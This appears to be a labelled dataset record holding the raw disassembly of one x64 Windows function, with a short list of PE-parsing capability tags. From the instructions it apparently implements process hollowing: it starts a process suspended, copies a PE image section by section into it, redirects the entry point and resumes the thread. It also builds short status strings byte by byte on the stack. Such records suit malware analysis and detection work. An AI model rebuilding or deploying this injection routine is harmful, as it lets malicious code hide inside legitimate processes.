Function at 0x140051bec
Capabilities:
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x210
mov qword [rsp + 0x178], 0xfffffffffffffffe
mov byte [rsp + 0x60], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
call fcn.14004f950
mov dword [rsp + 0x100], eax
mov byte [rsp + 0x61], 0
movzx eax, byte [rsp + 0x258]
test eax, eax
je 0x140051e4e
lea rcx, [rsp + 0x180]
call fcn.140015c74
nop
mov r9b, byte [rsp + 0x250]
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0xa8]
mov ecx, dword [rsp + 0x100]
call fcn.140007a88
movzx eax, al
test eax, eax
je 0x140051db4
cmp qword [rsp + 0xa8], 0
je 0x140051db4
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
mov rcx, qword [rsp + 0xa8]
call fcn.14001239c
test eax, eax
je 0x140051d59
xor r8d, r8d
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0xc8]
call fcn.14005e1e8
test eax, eax
je 0x140051d01
mov byte [rsp + 0x61], 1
jmp 0x140051d57
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x64], 0x32
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x64], 0x31
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x64], 0
lea rcx, [rsp + 0x64]
call fcn.14002ed60
mov qword [rsp + 0x110], rax
mov r8, qword [rsp + 0x110]
lea rdx, [rsp + 0x64]
mov rcx, qword [rsp + 0x238]
call fcn.14001f440
jmp 0x140051daf
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x68], 0x31
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x68], 0
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x68], 0x31
lea rcx, [rsp + 0x68]
call fcn.14002ed60
mov qword [rsp + 0x118], rax
mov r8, qword [rsp + 0x118]
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x238]
call fcn.14001f440
jmp 0x140051e40
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x80], 0
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x80], 0x30
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x80], 0x5f
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x80], 0x31
lea rcx, [rsp + 0x80]
call fcn.14002ed60
mov qword [rsp + 0x120], rax
mov r8, qword [rsp + 0x120]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x238]
call fcn.14001f440
lea rdx, [rsp + 0x180]
mov rcx, qword [rsp + 0x238]
call fcn.14001f3c0
nop
lea rcx, [rsp + 0x180]
call fcn.140016e88
nop
movzx eax, byte [rsp + 0x258]
test eax, eax
je 0x140051e6a
movzx eax, byte [rsp + 0x61]
test eax, eax
jne 0x140051e6a
xor al, al
jmp 0x14005269f
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x1400525d9
mov rax, qword [rsp + 0x108]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x220]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
cmp dword [rax], 0x4550
jne 0x140052581
lea rdx, [rsp + 0xb8]
mov rcx, qword [rsp + 0x228]
call fcn.140012510
mov rax, qword [rsp + 0x88]
movzx eax, word [rax + 4]
cmp eax, 0x14c
jne 0x140051ef8
cmp dword [rsp + 0xb8], 0
jne 0x140051f15
mov rax, qword [rsp + 0x88]
movzx eax, word [rax + 4]
cmp eax, 0x8664
jne 0x140051f1e
cmp dword [rsp + 0xb8], 6
je 0x140051f1e
mov al, byte [rsp + 0x60]
jmp 0x14005269f
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x128], rax
mov rdi, qword [rsp + 0x128]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x130], rax
mov rdi, qword [rsp + 0x130]
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x1a0], 0x68
mov dword [rsp + 0x1dc], 0x101
xor eax, eax
mov word [rsp + 0x1e0], ax
movzx eax, byte [rsp + 0x258]
test eax, eax
je 0x140051ffe
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x230]
mov rdx, qword [rsp + 0x228]
mov rcx, qword [rsp + 0xd0]
call fcn.14005e544
mov dword [rsp + 0xbc], eax
jmp 0x14005205c
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x228]
call fcn.14005e438
mov dword [rsp + 0xbc], eax
cmp dword [rsp + 0xbc], 0
je 0x140052529
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call fcn.140014630
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov dword [rax + 0x30], 0x100002
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xf0]
call fcn.14005e9d4
test eax, eax
je 0x1400524c2
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x138]
mov rdx, rax
mov rcx, qword [rsp + 0xe8]
call fcn.140013858
mov eax, dword [rsp + 0x138]
mov rcx, qword [rsp + 0x88]
cmp rax, qword [rcx + 0x30]
jne 0x1400521b7
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x90], 0
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x90], 0x6d
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x90], 0x67
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x90], 0x5f
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x90], 0x69
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x90], 0x6f
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x90], 0x6f
lea rcx, [rsp + 0x90]
call fcn.14002ed60
mov qword [rsp + 0x140], rax
mov r8, qword [rsp + 0x140]
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x240]
call fcn.14001f440
jmp 0x140052260
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x98], 0
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x98], 0x5f
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x98], 0x66
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x98], 0x69
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x98], 0x6d
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x98], 0x67
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x98], 0x66
lea rcx, [rsp + 0x98]
call fcn.14002ed60
mov qword [rsp + 0x148], rax
mov r8, qword [rsp + 0x148]
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x240]
call fcn.14001f440
movzx eax, byte [rsp + 0x248]
test eax, eax
je 0x140052279
mov dword [rsp + 0xc0], 0x40
jmp 0x140052284
mov dword [rsp + 0xc0], 4
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x104], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x50]
mov ecx, dword [rsp + 0x104]
mov dword [rsp + 0x20], ecx
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xe8]
call fcn.1400146e8
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0xe0], 0
je 0x14005245b
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x220]
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xe8]
call fcn.140014a5c
mov rax, qword [rsp + 0x88]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x88]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0xa0], 0
jmp 0x140052349
mov eax, dword [rsp + 0xa0]
inc eax
mov dword [rsp + 0xa0], eax
mov rax, qword [rsp + 0x88]
movzx eax, word [rax + 6]
cmp dword [rsp + 0xa0], eax
jge 0x1400523d0
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0xd8]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x220]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0xd8]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0xe0]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0xe8]
call fcn.140014a5c
mov rax, qword [rsp + 0xd8]
add rax, 0x28
mov qword [rsp + 0xd8], rax
jmp 0x140052339
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0xe0]
mov rdx, rax
mov rcx, qword [rsp + 0xe8]
call fcn.140014a5c
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xe0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb0]
mov qword [rcx + 0x80], rax
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xf0]
call fcn.1400142f0
mov rcx, qword [rsp + 0xf0]
call fcn.140013dd4
mov byte [rsp + 0x60], 1
jmp 0x1400524c0
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x6c], 0x38
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x6c], 0x31
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x6c], 0
lea rcx, [rsp + 0x6c]
call fcn.14002ed60
mov qword [rsp + 0x150], rax
mov r8, qword [rsp + 0x150]
lea rdx, [rsp + 0x6c]
mov rcx, qword [rsp + 0x238]
call fcn.14001f440
xor edx, edx
mov rcx, qword [rsp + 0xe8]
call fcn.1400144d4
jmp 0x140052527
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x70], 0
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x70], 0x31
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x70], 0x37
lea rcx, [rsp + 0x70]
call fcn.14002ed60
mov qword [rsp + 0x158], rax
mov r8, qword [rsp + 0x158]
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x238]
call fcn.14001f440
xor edx, edx
mov rcx, qword [rsp + 0xe8]
call fcn.1400144d4
jmp 0x14005257f
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x74], 0x31
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x74], 0
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x74], 0x36
lea rcx, [rsp + 0x74]
call fcn.14002ed60
mov qword [rsp + 0x160], rax
mov r8, qword [rsp + 0x160]
lea rdx, [rsp + 0x74]
mov rcx, qword [rsp + 0x238]
call fcn.14001f440
jmp 0x1400525d7
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x78], 0x31
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x78], 0x35
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x78], 0
lea rcx, [rsp + 0x78]
call fcn.14002ed60
mov qword [rsp + 0x168], rax
mov r8, qword [rsp + 0x168]
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0x238]
call fcn.14001f440
jmp 0x14005262f
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x7c], 0
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x7c], 0x31
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x7c], 0x34
lea rcx, [rsp + 0x7c]
call fcn.14002ed60
mov qword [rsp + reloc.OLEAUT32.dll_VarBstrFromUI8], rax
mov r8, qword [rsp + reloc.OLEAUT32.dll_VarBstrFromUI8]
lea rdx, [rsp + 0x7c]
mov rcx, qword [rsp + 0x238]
call fcn.14001f440
cmp qword [rsp + 0xc8], 0
je 0x140052653
mov rcx, qword [rsp + 0xc8]
call fcn.14005e750
mov qword [rsp + 0xc8], 0
cmp qword [rsp + 0xd0], 0
je 0x140052677
mov rcx, qword [rsp + 0xd0]
call fcn.14005dee8
mov qword [rsp + 0xd0], 0
cmp qword [rsp + 0xa8], 0
je 0x14005269b
mov rcx, qword [rsp + 0xa8]
call fcn.14005dee8
mov qword [rsp + 0xa8], 0
mov al, byte [rsp + 0x60]
add rsp, 0x210
pop rdi
ret